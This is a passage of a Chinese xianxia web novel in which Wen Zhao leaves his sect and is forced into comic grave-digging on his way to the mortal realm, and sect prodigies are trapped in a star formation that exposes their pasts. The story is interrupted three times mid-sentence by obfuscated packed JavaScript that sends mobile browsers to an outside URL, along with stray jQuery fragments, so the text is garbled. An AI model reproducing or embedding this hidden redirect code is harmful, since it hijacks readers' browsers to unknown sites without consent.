然而宗主这通告令一下,明日在山门前迎接纯洁尊者的人便实在找不出什么人了,因为大家普遍都长得好看,最终这桩差事便落到了长得不好看的温昭头上。 温昭:“……” 榆笙得知后,认为这是一个好差事,明日温昭身上带一个留影石,将纯洁尊者是何模样录下来,卖给宗内做生意的师兄,便能捞上一笔养老费。 诚然,榆笙的话说得温昭很是心动,可他却无法心动。 只因纯洁尊者的修为十分高深,从他生了这么多孩子还没有因为混乱的私生活被打死就可见一斑。 温昭无法确定对方会不会看破他身上的法器。如今一切准备妥当,在这个节骨眼上,他不想多生任何事端。 然而在大家眼里,温昭却是天泽宗唯一一个让人放心,让纯洁尊者见了绝对不想生孩子的人,再没有比他更合适的人了,断然没有拒绝的理由。 没办法,温昭只得叹息着给宗主写了一封信。 信上说,虽说纯洁尊者从来只喜欢美人,但已经有了白慕绥和凌陌云的例子在前,他长这个模样,却是完全不能让人放心。 而他自身的安危不足挂齿,左右不过是一个丑人再生个丑孩子的事。 但令人担忧的是,倘若纯洁尊者自此改变了审美,从喜欢美人变成也能欣赏丑人的风情,依照他生孩子的速度,不知道七大洲过几年将要迎来多少丑孩子,真是令人难以想象。 所有人:“……” 约莫最后一句话杀伤力太强,李管事告诉温昭,宗主看了他的信后,沉思片刻后,让他在纯洁尊者没有离开天泽宗前,必定不要离开院子半步。 是以,在天泽宗最后这几日,温昭过得很是潇洒,和榆笙躺在院子里的藤椅上,一边望着天边流云,一边吃着从镇上买回来的美食。 纯洁尊者翩翩然来到了天泽宗,由于在宗内没有发现美人,很快就遗憾地带走了白慕绥。 在纯洁尊者带走了白慕绥后,温昭不久后也接到了沈回溪的传音。 前段日子温昭和榆笙下山看过沈回溪,他的伤势已经大好。 这次沈回溪是来和温昭告别的。他为什么要离开,真是猜都不用猜,因白慕绥离开了,他便也要离开了。 关于这二人的关系,温昭心中其实有一个猜想。 在传言中,白慕绥的老婆死在了秘境中,他因此而发疯百年。可是七大洲死去的修士中诈尸的也不是没有过。 若是还在从前,温昭一定会好奇这二人之间的故事,但如今却不想去探寻了。 在纯洁尊者离开后不久,温昭便从李管事手中拿到了他要的法器。 法器装在一个储物戒中,李管事让他下山后再打开,里面还有他送给温昭的告别礼。 温昭心中十分感动,酸楚着点了点头,他忍不住上前抱了抱李管事。 在天泽宗六十八年,李管事照顾他良多,他却无能以报。 李管事拍着温昭肩膀:“在凡界呆的不开心,就回来天泽宗。最近宗主增加了天泽宗所有年龄大的杂役的月钱。你以后可以拿全部月钱了。” 温昭难过地点了点头:“嗯。” 这一日,天上有几道白蓝影子,山风凛冽。 温昭站在门口,缓缓关上了他的小木屋。 站在门口,温昭抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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榆笙抱着温昭,哭着道:“过一段日子我就去凡界找你。” 温昭喉咙哽塞,良久,才终于从喉咙出发出几个音节:“你去凡界干什么?” 榆笙擦干了脸上的眼泪,笑嘻嘻道:“我考虑过了,你这个倒霉样,想来也活不了多久,给你算个百岁,也就十来年。十来年过去后,小爷我也还青春年少,再回来修仙也不迟。” 温昭:“……” 榆笙继续道:“你也不要太感动,我只是觉得我在天泽宗当杂役,光阴也一闪就过去了,我为什么不能回家逍遥个几年,然后把你送到棺材里了,再回来修仙呢。” 温昭:“……” “滚蛋。”温昭面无表情道,“不需要你把我送到棺材里,每月给我打点养老钱就行了。” 榆笙转身就走。 温昭:“……” 榆笙又转过身来,抱紧了温昭道:“昭昭,天泽宗杂役,也只有孟师兄一个人走上了修行之路,我觉得,你和我的修行止步不前,不是我们不行,是天泽宗风水不行。” 温昭:“……” 李管事:“……” 榆笙放开了温昭,对着他笑了笑:“所以等着我来找你,我打算出去逛逛,换换风水。在我来找你之前,你记得出门逛街一定要低调点,不要忘了戴面纱。” 温昭:“……” 温昭转身就走。 走出几步后,温昭对着身后挥了挥手。 山风在林间荡开,吹得人影晃动,温昭的脚步却走得很稳。 瘦削身影,只身一人,伶伶仃仃,一点点消失在榆笙和李管事的视野中。 在温昭走后,榆笙终于蹲在地上大哭出声。 李管事也红着眼,靠在了身边人身上。 榆笙哭着道:“他年纪那么大了,长得还不好看,万一回去被人嫌弃了怎么办。” 李管事没说话,却想,那正好把人带回天泽宗。 在镇上,温昭坐上了去往界海的灵舟,他抬眸,风从眼前流过,天泽宗巍峨连绵的山脉渐渐消失在了他的眼前,直至彻底消失不见。 自此山高海阔,风霜雪雨,唯有他一人而已。 想来他孑然一身来到这个世界,本就该学会踽踽独行。 温昭靠在灵舟上,闭上了眼睛。 温昭心想,等他下了灵船,到了凡界后,就换上李管事给的法器。 从此前尘如幻梦,便全都过去了。 22. 凄凉 温昭坐在灵舟上,出发才不过一个时辰,便收到了榆笙的传音。 温昭知道榆笙舍不得自己,不过没想到竟是如此舍不得自己。 温昭心中感动,拿着传音石:“我才出发了一个时辰。” 榆笙有点紧张的声音从传音石里传过来:“昭昭,你坐的哪个灵舟?” 温昭不明所以:“就在那一片灵舟里随便挑的一个坐的。” 榆笙声音更紧张了:“你赶紧看看灵舟的主人是谁。” 温昭看了看,也是这会儿才发现,这趟灵舟上,除了舟主,加上他,一共才两个人。 另外一个人一身书生打扮,面目白净,五官温润,长得相当俊美,但不知道为何这会儿脸色有点凄楚。 见着温昭看向他,顿时向温昭露出一个凄凉的笑容。 温昭:“……” 男子从他的储物戒中掏出一个大饼,一边啃,一边对温昭道:“这位小兄弟,你也吃一点吧,怕待会没力气。” 温昭:“……” 温昭心中蓦然有了不详的预感。 温昭不由得转头看向这灵舟上的第三人。 只见前方舟头一人身材高大,背手而立,呼啸的风吹起他华丽的黑色衣袍,气势十分凌人。 温昭上灵舟时曾扫过一眼,舟主是个看起来三十来岁的人,不苟言笑,龙威燕颔,一身气宇轩昂。 温昭想着也就告诉了榆笙。 榆笙听了,沉默片刻后,忽然沉痛道:“我也是在你走了后,才从一个师兄嘴里得知一件最近发生的事。” 温昭心中不详的预感加深,就听榆笙接着沉痛道:“昭昭,不管你做了什么,你在我心中永远都是那个善良清白的昭昭。” 温昭:“……” 这都什么跟什么。 温昭一头雾水:“到底怎么了?” “别问怎么了,赶紧吃,我看你修为也不是很高,还是抓紧吃一点。”说罢,那俊秀的白面书生凄楚着脸色,大口大口啃着面饼,活像要赶着去投胎。 温昭:“……” 就在这时,迎风伫立在舟头的舟主倏然转过身来,满面威严,看向温昭道:“要吃饼抓紧时间吃点。” 温昭:“……” 温昭心中泪流满面,他已经发现了不同寻常,他这到底是什么运气。 识时务者为俊杰,温昭默默从储物戒里拿出了一个大饼,一边啃一边小声问榆笙道:“究竟出什么事了?” 榆笙沉默了一会儿,道:“昭昭,这件事只要你不说出去就没人知道,我们就还是那个清白的好孩子。” 温昭:“……” 温昭心中越发觉得不详,连忙啃了啃大饼压惊,谁知这饼才啃了几口,本来在天空中飞行的灵舟,忽然拐了个弯,朝着地面某个地方飞了过去。 温昭脸色一凝,不由得将没吃完的大饼收进了储物戒中,伸手抓紧了灵舟的边缘。 灵舟落在了一处荒郊野岭里,四周枯藤,老树,昏鸦,入目是一片阴森森的坟茔。 山风恍若鬼嚎,掀起阴风阵阵。 温昭:“……” 此时,白面书生已经吃完了大饼,神色凄楚地走到温昭身边,安慰道:“也不用太紧张,放手去做就行了。” 温昭默默看了他一眼,接着便见舟主率先走下了灵舟,一身黑色衣袍衬托得四周更加阴森恐怖。 他踩着满地枯枝烂叶,渐渐走向那片坟茔。 紧接着,便是白面书生下了灵舟,跟上了舟主的步伐。 二人挺拔身姿站在一片坟墓前恍若鬼影,山风刮过,吹得树枝上枯藤发出咔吱咔吱的声音,令人不禁心底发颤。 在舟主和白面书生站定后,二人齐刷刷回头,看向灵舟里的温昭,无声召唤。 温昭:“……” 温昭心中一颤,差点没腿软。 他颤抖着默默下了灵舟,走到二人面前。 霎时,一片坟地前,三个人并排而立,神色各异。 舟主看着眼前的墓地,眼中冷光闪烁。 白面书生面色凄楚,嘴里嘀咕道,有辱斯文。 温昭则是满脸茫然。 在温昭茫然着打算说点什么时,舟主神色冷酷看了一眼满地的坟墓,而后从储物戒中拿出了三只铁……铁铲。 一只舟主拿在手中,一只塞给了书生,一只塞给了温昭。 温昭:“……” 草,原来是盗墓的! 在温昭满脸凌乱时,舟主一声令下,冷酷无情道:“刨!” 话音刚落,白面书生当仁不让,如离弦之箭冲了出去。只见他飞在空中,两脚便把两块早已历经风霜的墓碑踢烂在地。接着落地之后,挥舞着手中铁铲,如同得了疯牛病,一阵连踢带踹,刨起了人家的坟。 温昭:“…………” 在白面书生大发神威后,舟主也面色冷漠地挽了挽衣袖,飞到空中,瞬间一个鹞子撒泼,数十个墓碑在他脚下碎裂成残片,而后他宛如疯狗,拿着一把铁铲,疯狂刨着坟墓,刨得泥土满天乱飞,枯叶四处飞扬。 温昭:“…………” 温昭面色木然,嘴里喃喃道:“盗墓的修士该叫什么来着?” 此刻,一直连接着的传音石中,传来了榆笙的声音:“相传五百年前,山青宗乃当世第一大宗,宗门子弟多达数十万,而这样庞然大物的山青宗却在十日内被灭宗了。当时参加灭宗的修士有数百万,只为夺取一则语焉不详的消息。” “五百年前,山青宗宗主的孩子还是个在襁褓中的婴儿,因每日吃得太多,被抱给一位医圣问诊,才得以留下了一条命。” 温昭:“……” “后来那婴儿不知怎么回事,足足花了三百年才长大成人。然而当他长大成人后,当年那些参加灭山青宗的修士大多早已死的死,消失的消失,只留下一个个冰冷的坟墓。” “那孩子指天立誓,死得了人,跑不了坟,给自己取名无墓生。” “从此两百年间,经常有人看到一个人在七大洲疯狂刨人家祖坟的恐怖身影。” 温昭:“…………” 温昭抬头看向不远处那道疯狂刨坟的恐怖身影。 榆笙继续道:“其实天泽宗和山青宗还有点千丝万缕的关系,若是论资排辈起来,无墓生也能当得起天泽宗弟子一句师叔祖。” 新鲜出炉的师叔祖疯狂挥舞着铁铲,催促温昭道:“还愣着干什么,快点过来帮忙刨。” 在坟地里的白面书生也气喘吁吁,擦了擦额头的汗,看着温昭道:“速战速决,早点刨完,早点赶路。” 温昭:“…………” 榆笙在传音石里接着道:“师兄们说,如今凡是坐上了师叔祖灵舟的人,都要帮他刨别人的祖坟,不刨不行。天泽宗已经有多个师兄受害了。” “本来据大家的消息,他老人家这几年原本是在云洲刨人家的祖坟,不知道何时云洲的祖坟刨完了,竟是悄无声息已经来了中洲。” 随着榆笙话音落地,只见师叔祖铁铲挥舞得只剩残影,一脚踩烂一个墓碑后,一脸威严肃穆地看着温昭:“还不过来帮忙?” 温昭:“……” 二人对视片刻,温昭木然着脸拿起了他的铁铲,走了过去。 温昭脸色凄楚地将他的铁铲插进了一座坟土包里。 白面书生转眼已经刨完了三座坟,这时看着温昭的动作不由得叹气道:“凡事都有第一次,习惯就好了,我也是第一次刨人家的坟。” 温昭:“……” 好一个第一次,第一次就这么凶残? 温昭脸色麻木:“我年纪大了,修为也不高,刨不快。” 只是想坐个灵舟而已,谁知道这也能被坑爹,温昭心中欲哭无泪。 而此刻,师叔祖已经刨完了十五座坟,效率之高,可见一身修为不俗,更可见经验十分之充足。 温昭和白面书生抬头看过去时,只见师叔祖立在一个刨出的坑里,气势骇人,一脚踢出,就将棺材板踢飞出去,断成了两截。飞出去的两截棺材板还有余力将几块墓碑撞得稀碎。 而后师叔祖站在土坑中,神色漠然道:“五百年前,我山青宗的债,我来讨了。” 说着便把棺材里的骨架拎起来,弄成跪趴在棺材里,给人请罪的模样。 温昭:“……” 白面书生:“……” 温昭想象了一下,倘若某日有人误入这片坟地,不禁为对方点了个西红柿。 一个时辰后,三人满身泥土,立在一片狼藉的地面。 面前满地坟墓都被掀翻了棺材板,每一个棺材里的白骨都被弄成了跪着请罪的忏悔姿势,一眼望过去,实在令人头皮发麻。 温昭脚步虚软,差点也跟着跪倒在地。 白面书生扶了一把温昭,笑着道:“以后就有经验了,吃点东西就不会没力气了。” 温昭心中泪流满面,今日离开天泽宗时确实没顾上吃饭。他哪能想到,只是坐个灵舟,也能这么倒霉。 在温昭欲哭无泪时,师叔祖看着面前这一个个碎裂的墓碑,掀翻的棺材板,跪着的白骨,拍了拍身上的泥巴,神色相当满意:“走吧。” 灵舟冲天而起,朝着西洲西行而去。 三个时辰后,接着又一个俯冲,落在了一处坟地里。 师叔祖和白面书生霎时拿着铁铲再次冲了出去,疯牛般刨起了坟。 温昭:“……” 温昭也颤抖着下了灵舟,拿着他的铁铲凄楚地走了过去。 一个时辰后,灵舟冲天而起,再次朝着西洲西行而去。 四个时辰后,灵舟又是一个俯冲,落在了一片坟地里。 师叔祖和白面书生又化身疯狗冲了出去。 温昭:“……” 天泽宗位于中洲中部,界海则位于西洲的南部。 因着如今的灵舟在炼器师日益改进后,从中洲到西洲,原本只需要半个月便能达到界海。 但温昭这趟路硬生生走了一个月。 一个月后,师叔祖的灵舟终于停泊在了界海的云中城里。 温昭见着眼前终于是人来人往,而不是坟来坟去,颤抖着一双手扶着灵舟边缘,几乎要落下泪来,脸色之凄苦,顿时丑得路人倒吸凉气。 而在他身边的师叔祖气宇轩昂,丰神飘洒,白面书生温润如玉,形容俊美,完全没有一点刨坟时形如疯狗的模样。 迎着周遭路人打量的火热视线,师叔祖伸手梳理了一下自己的衣袍,神色十分稳重道:“这一路来,你们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375601|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦了,走吧,带你们去吃点好东西。” 温昭心中一凉,赶紧道:“承蒙您一路关照,晚辈还有点急事,就此别过了。” 实在害怕再被拉着刨坟,温昭匆匆下了灵舟,飞快跑走了。 云中城因为靠近界海,终年水雾弥漫,温昭的身影就如有疯狗追眨眼消失在了茫茫雾气中。 难得请客的师叔祖:“……” 师叔祖看向白面书生:“他为什么跑得这么快?” 白面书生心中忍笑:“可能真有急事吧。” 走在云中城的街头,温昭打听了一下灵船出海的时间,适逢下午就有一趟灵船要出海,此刻离出海时间还有好几个时辰。 温昭本来是不打算入住客栈的,云中城里哪怕是最便宜的客栈也没那么便宜,但因着刨了一个月的坟,实在是心神疲惫,于是便找了家相对便宜的客栈入住。 躺在客栈的床上,温昭才终于觉得自己活过来了,眼中几乎要落下感动的泪来。 这时,榆笙来了传音。 榆笙好奇道:“你刨了多少个坟?那几个师兄有多有少,有的刨了上千,有的刨了几百。” “我听有个师兄说,他本来不愿意刨的,但一刨就停不下来,掀翻棺材板的感觉十分上瘾。你感觉如何?” 温昭:“……” 温昭脸色麻木:“感觉不如何。应该不超过五十个,我年纪大了,刨不动。” 温昭想象了一下数百万修士祖宗十八代的祖坟,需要先一个个找出来,然后再去刨,着实耗时耗力。难怪那位师叔祖刨了两百年还没刨完,近年来已经开始绑架无辜路人帮忙刨坟了。 温昭这个作为被绑架的无辜路人睡了一觉,才觉得自己被伤害的心灵勉强得到了慰藉。 休息一番后,温昭下去客栈大堂里吃了一点东西。 客栈大堂和茶楼向来都是搜集消息的绝佳场所。 温昭点了一壶茶水,一个菜,便听得大堂里用饭的人议论纷纷。 温昭默默听着,好在在三艘灵船翻了后,未曾再有灵船葬身界海的事发生。 如今大家已经从三艘灵船出事的恐怖事件里移开目光,讨论起了关于南洲秘境的事。 在南洲出现的秘境起初不觉得如何,但随着时间转移,却越来越显露出不同寻常,里面禁则遍布,时而灵力被吞噬,时而时空错乱,简单来说,非常危险,但里面出现的东西也是罕见地珍奇。 听说短短一个月,便有不少修士死在了秘境中,当然也有很多修士得到了宝物,其中以几大仙门的天骄弟子为首,公仪无冽便是其中一个。 温昭听到此处,没有再多听下去,确认了灵船最近没再翻船,界海里风平浪静后,他匆匆吃了饭,便去了海口泊船处。 温昭站在海口处不禁蹙了蹙眉,他是第一次看见界海。 界海的海水是黑色的,一眼看过去,这一望无际,宽阔无垠,仿佛要吞天纳地如无尽深渊的黑色,光是看上一眼,便令人心惊胆战。 要直视这片界海都叫无数人心中惊恐,何况是横渡界海。 传说在很多年前,凡界和修真界便是被界海分开的两个互不相知的世界。 后来有一个修士竟然靠一身修为单枪匹马渡过了界海,踏上了凡界的大陆,自此两个世界才被联系了起来。 此刻正有一艘巨大的灵船从界海的另一端驶来,不一会儿便到了渡口。 从灵船上下来的有修士,也有凡人。其中修士居多,凡人不见多少。 除了各大仙门每次去凡界招收徒弟,会带回来一大批凡人,其余时候,踏入修真界的凡人并不是很多,因着要坐上灵船也需要一番机缘。 温昭看着他们,在他们好奇四顾的脸上,看到了兴奋,激动,憧憬,神往……就如每个初到修真界的凡人一样,对未来踌躇满志。 温昭没有多看,他踏上了另一条回凡界的灵船。 有人来,有人走,在这个地方是再平常不过的事。 温昭向验票的人递出了自己的船票。 温昭心想,好在灵船的船票没有时间限制,不然被拉去刨了一个月的坟,他的船票都该过期了。 温昭上了灵船,看了一眼前方的界海。茫茫海域,幽深如墨,着实十分考验人的心志。 界海十分危险,其中海兽无数,天气也变化多端,便是灵船是当世几大仙门修为最高深的炼器师联合炼造出来的法器,要横渡这片海域,也需要行上一个半月的时间。 如果遇到天气剧变或者海兽作怪,行上两三个月都有可能。 如果运气不好,还会船翻人亡,一辈子留在界海里。 海风凛冽,当温昭拿着船票,找到自己的床位,推开舱门,顿时头一晕。 那背负着双手,积威甚重,立在窗口的肃穆背影,实在是让他记忆深刻。 还有一旁坐着休憩的白面书生,温润如玉地将温昭望着。 白面书生笑着道:“小昭,又见面了。” 温昭:“……” 温昭一阵头晕,不禁颤抖着扶住了门。 他恍惚看见了自己余生都要在坟地里刨坟的凄凉身影。 没想到回凡界的路竟然也如此令人痛苦异常。 开局就不顺,温昭泪流满面。 23. 幻影 这一刻,温昭着实为他的运气感到头痛,恨不能原地消失。 真是难以想象,这样大的一艘船,他的运气该有多寸,才能再次撞到师叔祖手里。 温昭内心沧桑,沧桑地撑着门,对着白面书生艰难一笑。 白面书生瞧着温昭的模样,似是觉得十分有趣,戏谑一笑,道:“小昭快进来吧,我刚沏了一壶茶,你正好尝尝。” 立在窗口边的师叔祖也回转身来,面色肃然地看着温昭,海风吹起他华丽的黑色衣袍,霸气十足。 温昭只得强颜欢笑,脚步磨磨蹭蹭,凄楚着走进了房间。 这是一个四人间,空间还算大,左右各两张床,屋中间摆放着一张木桌,白面书生就坐在木桌旁斯斯文文地喝着茶。 温昭磨蹭到了木桌前,无奈坐下。 白面书生笑着递来一杯茶。 温昭接下了他的茶水,喝了一口压压惊。 在先前的一个月并肩刨坟时,温昭已经得知了白面书生的名字,裴之炎。 温昭慢慢喝了几口茶水,只觉得口中满齿的清香,可见这应当是一壶好茶,他问道:“你们也要去凡界吗?” 裴之炎一手执着一杯茶,俊美面容笑看着温昭:“嗯,去刨点坟。” 温昭:“…………” 裴之炎看着温昭的样子笑了起来,他像是十分开心,甚至笑弯了眼睛。 师叔祖也在木桌前坐下,自顾自给自己倒了一杯茶,仰头一口喝尽,接着衣袖一挥,便有一本挂在墙上的册子飞到了温昭面前。 师叔祖霸气侧漏地道:“想吃什么就点,说了请你们吃饭。” 温昭想着自己前途未卜,可能即将在凡界刨坟,这一刨就不知道是几个月还是几年,他凄凉地伸手拿过了册子,而后低头一看,顿时:“……” 温昭颤抖着手拿着册子,看向师叔祖:“有点贵。” 岂止是有点,简直是抢钱,温昭看着上面的价格,大怒了,若是换上他的养老钱怕不是吃不上几顿就没了。 裴之炎扑哧一笑。 师叔祖满脸财大气粗,浑不在意:“让你点就点。” 温昭瞧了瞧师叔祖那身华丽得快要发出光的华丽衣袍,最终也跟着财大气粗地点了一个……最便宜的菜。 而后裴之炎接过册子,淡定地点了最贵的几个菜。 温昭:“……” 在等上菜的间隙,船舱外倏然传来一声轻长的声音,紧接着身下的船身开始晃动,晃动几息后,便归于平静。 温昭没忍住走向窗口,透过窗口,他看见笼罩在雾气中仙气缥缈的云中城在他身后一点点缩小,黑色的界海在眼中变得越来越宽广。 灵船载着满船人,启航,驶向凡界。 这一刻温昭心中终于清晰地意识到,他真的离开了,离开了呆了六十八年的天泽宗,离开了榆笙和李管事,也离开了那个人。 他如今是真的就要去往凡界了,从此和前尘一刀两断。 一阵痛楚从胸口传来,温昭将怀中的传音石拿出来紧紧握在了手中。 这块传音石他没有放在储物戒中,这样就能保证榆笙每次想和他说话,他就能第一时间听到。 温昭紧紧握着传音石,他想,他若是在凡界平平安安,等光阴流逝后他放下了过去,他将来有一天,在死之前,或许还可以回到天泽宗,回去看望榆笙和李管事。 所以,温昭,不要太难过,一切都会好起来的,都会好起来的。 温昭抬头,不停眨着颤动的眼睫,才将眼中的雾气逼退。 “小昭去凡界做什么?” 裴之炎走了过来,和温昭并排站在窗口。海风吹拂,温昭嗅到了裴之炎身上传来的淡淡的香气,是和那个人截然不同的一种香。 温昭听着裴之炎的话,不由得转头看向了身边的裴之炎。 温昭能感觉到上船后遇到的裴之炎,气质有点不一样了。 灵舟上对着温昭笑得凄楚,还有刨坟时宛如疯狗的裴之炎都不见了,此刻站在温昭身边的是一个气度卓然,丰姿俊雅的裴之炎,举手投足间透着一种优雅的贵气十足。 温昭心中是真觉得有点奇怪,似乎从相遇的第一面,裴之炎对他的态度就很好,很好,好到令他想不明白。 在那一个月中,几乎也是裴之炎帮温昭刨坟,温昭就没正经刨过几个坟。 可是为什么裴之炎的态度是这样呢? 温昭想不明白,对着他这模样,态度还能好成这样,不是教养太好,怕就是审美独特,可能又是下一个白慕绥。 温昭叹息,在那一个月时,他试探过了,裴之炎应该没看出他的真实容貌。 如今他这态度,简直比看穿了他的容貌还要令人惊悚。 温昭心情复杂,对着裴之炎道:“回家去看看。” 裴之炎点点头,没有多问,也没有离开,他就静静站在一边,像是在陪着温昭。 裴之炎的态度令温昭着实无法理解,但有了裴之炎的存在,温昭心中方才的痛楚难以为继,他没那么难受了。 轻柔的海风吹在二人身上,将裴之炎身上的清香一簇簇吹拂而来,温昭心情复杂。 而这时舱门被敲响,送菜的到了,温昭借此离开了窗口。 南洲,某处秘境中。 “我说公仪无冽你到底能不能行了?你不是万年难遇的天才吗?你就是这个样子当天才的?” 禅宗弟子寂长檀抖着手,摸了摸自己被削得快成了狗啃的头发,忍无可忍朝着前方人影大吼道。 只见头顶星辰遮天蔽日,万物都仿佛消失了,只余下璀璨到令人心生不详的一方极尽漆黑而又过度明亮的星空。 星空下,各仙门的天骄弟子围聚在地面上,每个人都形容狼狈,全身上下竟是连一块完整的布料都找不到,破破烂烂得比街边乞丐还要落魄潦倒。 在场只有唯二两人穿着相对体面,一个便是林悠,另一个人就是正在夜观天象的公仪无冽。 而之所以只有两人衣着相对体面,公仪无冽完全是因为身手太好,在布满杀机的险境中也能维持最后一丝体面。 林悠则是因为爱慕者众多,天骄弟子靠着人多势众,你出一块布料我出一块布料,终于凑出来一件衣服,送给美人排忧解难。 想一想这真是一个难以形容的场面。 公仪无冽作为林悠传闻中的道侣,在这种时刻本应醋性大发,火急火燎脱下他的衣服披在美人身上,还要对着在场人口出威胁,谁敢多看一眼,他就挖了谁的眼珠子。 可是这些事完全没有发生,公仪无冽跟眼瞎了似的,半点没有要脱衣服的意思,愣是让美人和大家一样狼狈地衣衫不整。 这种冷酷无情,无动于衷,直令一群天之骄子无语至极,未免太慷慨了点,太大方了点,最终大家不得不纷纷撕衣相助,好歹给美人拼凑出了一件还算凑合的衣服。 在一个月前,这群天之骄子奉了各仙门宗主的意,带着一堆法器,前来收割秘境中的宝物。 在前半个月时,虽说也遇到了不少危险,但对这些天之骄子来说还形不成要命的威胁。 直到后半个月,一群天之骄子将秘境外围的好东西收割一空后,渐渐朝着秘境中心聚拢,而此刻平日里称兄道弟的英才相遇在一起,争起宝物来,你阴过去我阴过来,一个个大打出手,破口大骂,在这样一副鸡飞狗跳的画面中,危险终于来临。 太阳无踪,黝黑如墨的无边星空从天边移动过来,悬在头顶。而后他们灵力尽失,法器不能用,储物戒也打不开,眨眼便成了手无寸铁的□□凡身,成了被秘境收割的对象。 形势转变得太快,直到大家狼狈地逃出星空下的第一轮杀机后,才有人道出了目前的处境。 阵法,他们被困在了一处杀阵中。 这本应是个好消息,比起无解的秘境,杀阵再可怕,但只要找到了阵眼,将之破解之后,危机也就解除了。 然而大家在听闻这个消息后,却纷纷沉默了。 实在无法不沉默,只因就在半个时辰前,善于阵法的天工门的一众弟子正被他们打昏了扔出了秘境中心,一个没留。 之所以会做出这种行为,是因为大家普遍认为天工门弟子心眼太多,只比千机宗的弟子逊色一点,不如大家联手先把最有威胁的竞争对手消灭了。 提出建议的天骄此话一出,大家深以为然,立刻一拥而上把天工门弟子打昏了五花大绑,扔出了秘境中心。 原本大家在扔出去了天工门的弟子后,还想把天泽宗的所有弟子也一并扔出去,但考虑到此结果最有可能是公仪无冽把他们通通扔出去,只得遗憾收手。 没有了善于阵法的天工门弟子,以至于大家被困阵法中,完全找不到逃出去的办法,每天都得遭受阵法的摧残。 在这个绝望的时刻,大家思考再三,最终决定把希望寄托在在场修为最高的公仪无冽身上。 这一寄托就是半月有余,终于寄托得大家彻底绝望。 听着寂长檀发癫的孟十柳:“……” 孟十柳立刻就吼了回去:“你行你他爷地给我来,就会他爷的叽叽歪歪,也不看看是哪些傻子把天工门的弟子都扔了出去!” 孟十柳原本只是随便一吼,没想着让寂长檀做什么,谁知寂长檀一听这话,立刻冷笑一声,愤怒起身,脚下一颗石子被他无意中踢了出去。 石子打着旋,竟是朝着头顶无边星空飞了过去。 公仪无冽:“……” 所有人:“……” 所有人都抬头看着这颗石子,看着石子仿若一颗星星,嵌入了星空中,开始发出闪烁的光芒。 所有人:“……” 虽说一言难尽,但大家不由得开始期待,莫非误打误撞,还真让那寂长檀破解了阵法? 所有人屏息凝神望着天空,接着就见漫天星辰动了,斗转星移,星辰变幻…… 众人不由得面色紧张。 只见星空在众人眼中极尽变幻,光华越发璀璨明亮,不知道过去了多久,终于过于刺目的光华敛于平静,星辰在绚丽地转动之后,不动了。 大家深吸了口气,忙不迭看向四周,还是无边夜色,深藏杀机,毫无变化。 大家耐着性子等了等,依然无变化。 草! 那你乱动个什么劲啊! 众人悲愤欲吐血。 就在众人顶着身上几块破烂布料,打算教训一下浪费他们感情的寂长檀时,星空中却开始有了变化。 在黑沉的星空之下,虚空中倏然渐渐出现了一副幻影。 幻影中竟然出现了孟十柳的身影! 是几十年前的孟十柳,看穿衣打扮,应该是还在天泽宗当杂役的时候。 众人不解其意,面色疑惑地盯着幻影,尤其是孟十柳皱紧了眉头。 接下来众人就见幻影中的孟十柳在给灵兽喂口粮时,大把大把偷吃灵兽的口粮…… 孟十柳在灵树上摘灵果,不慎摔下去,本一根皮毛都没掉,却把自己包成了粽子去找李管事要医药费…… 孟十柳下山去采购时,特意去打听镇上临期的物品采购,省下来的钱进了自己的储物袋…… 孟十柳:“……” 所有人:“……” 所有人都霍然看向孟十柳,包括公仪无冽。 孟十柳:“……” 孟十柳一张老实巴交,向来不苟言笑的肃然脸上,面色镇定道:“虚假的幻境罢了,这个阵法着实险恶。” 所有人:“……” 寂长檀却冷笑一声,幸灾乐祸道:“是不是虚假,你自己清楚,早就说了你道貌岸然,看你还怎么狡辩。” 孟十柳也跟着冷笑道:“我怎么样,还轮不到你个嘴毒的秃子来说。” 寂长檀拎着自己剩下的仿若狗啃过的头发:“谁是秃子,你眼睛瞎了?” 而就在二人吵架时,虚空中的幻影又是一阵变化,出现了寂长檀的身影。 寂长檀:“……” 这次换孟十柳冷笑连连,抬头看向虚空。 在虚空幻影中,出现了幼年时的寂长檀,因为和宗门师兄吵架输了,哭着跑走,在屋里悄悄练习吵架…… 当寂长檀练习了一个月之后,再次找到那个师兄吵架,再次输了后,又哭着跑走,回屋接着练习吵架…… 再一个月后,寂长檀又找到那个师兄吵架,再再一次输了后,寂长檀哭着去找宗主告状了…… 寂长檀:“……” 所有人:“……” “哈哈哈哈,原来是个告状的爱哭鬼!” 星空下霎时传来了孟十柳恐怖的笑声。 寂长檀:“……” 寂长檀扑过去和孟十柳打在一起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375602|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在这二人打架时,虚空中的幻影不停变幻,映出一个个天骄弟子不为人知的往事,直让一群人看得脸色发青。 而在幻影不停变幻之后,在场只剩下两个人还没有出现在幻影中,那便是公仪无冽和林悠。 公仪无冽脸色淡淡的,看着似乎还是从容不迫,林悠脸色则是有点难看,紧盯着虚空。 而这时,虚空幻影中又出现了一个人影,是公仪无冽。 孟十柳和寂长檀连忙住手,忙激动抬头看向虚空。 所有人都激动地看向虚空幻影。 公仪无冽:“……” 